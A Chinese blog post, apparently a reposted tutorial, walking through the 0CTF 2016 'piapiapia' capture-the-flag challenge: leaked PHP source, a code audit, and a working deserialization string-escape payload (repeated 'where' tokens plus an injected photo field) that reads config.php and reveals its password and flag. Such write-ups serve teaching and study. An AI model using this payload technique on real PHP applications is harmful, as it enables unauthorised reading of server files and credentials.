php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)


Posted in PHP onFebruary 15, 2020

一个很可爱的登录界面:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描,发现源码泄露www.zip,把源码给出:

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

在输入账号密码之后进入了profile.php,下面是profile.php的源码:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

还有注册页面的源码(没有太大用),register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

然后是update.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px"> 
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

核心的处理代码,class.php:

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看来flag就是在config.php中了,要想办法拿到config.php的内容了。

然后就是代码审计了。

seay代码审计系统也可以给点线索的:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

这个地方貌似有个文件读取的地方,在profile.php中:

else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:

Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。

在设置了$profile之后,用update_profile()函数进行处理:

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

进行了过滤:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
数组即可绕过:
nickname[]=

那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可: php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

然后进入到profile中查看图片信息,把base64码解码:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解码得到:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

总结

以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!

PHP 相关文章推荐
防止本地用户用fsockopen DDOS攻击对策
Nov 02 PHP
PHP设计模式之结构模式的深入解析
Jun 13 PHP
PHP文件去掉PHP注释空格的函数分析(PHP代码压缩)
Jul 02 PHP
实例介绍PHP的Reflection反射机制
Aug 05 PHP
php实现图片局部打马赛克的方法
Feb 11 PHP
PHP+apc+ajax实现的ajax_upload上传进度条代码
Jan 25 PHP
php实现图片上传时添加文字和图片水印技巧
Apr 18 PHP
php禁用cookie后session设置方法分析
Oct 19 PHP
微信公众号开发客服接口实例代码
Oct 21 PHP
php 微信开发获取用户信息如何实现
Dec 13 PHP
PHP内置函数生成随机数实例
Jan 18 PHP
PHP强制转化的形式整理
May 22 PHP
浅析PHP反序列化中过滤函数使用不当导致的对象注入问题
Feb 15 #PHP
php 函数中静态变量使用的问题实例分析
Mar 05 #PHP
php多进程中的阻塞与非阻塞操作实例分析
Mar 04 #PHP
php 中的信号处理操作实例详解
Mar 04 #PHP
php libevent 功能与使用方法详解
Mar 04 #PHP
php+iframe 实现上传文件功能示例
Mar 04 #PHP
php实现文件上传基本验证
Mar 04 #PHP
You might like
谈谈关于php的优点与缺点
2013/04/11 PHP
yii2中使用Active Record模式的方法
2016/01/09 PHP
php实现word转html的方法
2016/01/22 PHP
Smarty模板变量调节器用法分析
2016/05/23 PHP
PHP实现的网站目录扫描索引工具
2016/09/08 PHP
PHP将数据导出Excel表中的实例(投机型)
2017/07/31 PHP
在Laravel中使用DataTables插件的方法
2018/05/29 PHP
Yaf框架封装的MySQL数据库操作示例
2019/03/06 PHP
让firefox支持IE的一些方法的javascript扩展函数代码
2010/01/02 Javascript
Jquery替换已存在于element上的event的方法
2010/03/09 Javascript
javascript 数组操作详解
2015/01/29 Javascript
jQuery使用元素属性attr赋值详解
2015/02/27 Javascript
javascript基本包装类型介绍
2015/04/10 Javascript
jquery采用oop模式class类的使用示例
2016/01/22 Javascript
关于原生js中bind函数的简单实现
2016/08/10 Javascript
VueJs 将接口用webpack代理到本地的方法
2017/11/27 Javascript
解决Vue 项目打包后favicon无法正常显示的问题
2018/09/01 Javascript
echarts饼图各个板块之间的空隙如何实现
2020/12/01 Javascript
Python解析并读取PDF文件内容的方法
2018/05/08 Python
Python向excel中写入数据的方法
2019/05/05 Python
python web框架 django wsgi原理解析
2019/08/20 Python
PyCharm搭建Spark开发环境的实现步骤
2019/09/05 Python
Python OpenCV图像指定区域裁剪的实现
2019/10/30 Python
Django中提示消息messages的设置方式
2019/11/15 Python
python3中利用filter函数输出小于某个数的所有回文数实例
2019/11/24 Python
Python实现隐马尔可夫模型的前向后向算法的示例代码
2019/12/31 Python
TensorFlow实现指数衰减学习率的方法
2020/02/05 Python
Python3.7实现验证码登录方式代码实例
2020/02/14 Python
python3 配置logging日志类的操作
2020/04/08 Python
婚前协议书范本
2014/04/15 职场文书
学生无故旷课检讨书
2014/09/20 职场文书
学校党的群众路线教育实践活动个人整改方案
2014/10/31 职场文书
2015财务年终工作总结范文
2015/05/22 职场文书
遗愿清单观后感
2015/06/09 职场文书
2015年新农村建设指导员工作总结
2015/07/24 职场文书
Elasticsearch6.2服务器升配后的bug(避坑指南)
2022/09/23 Servers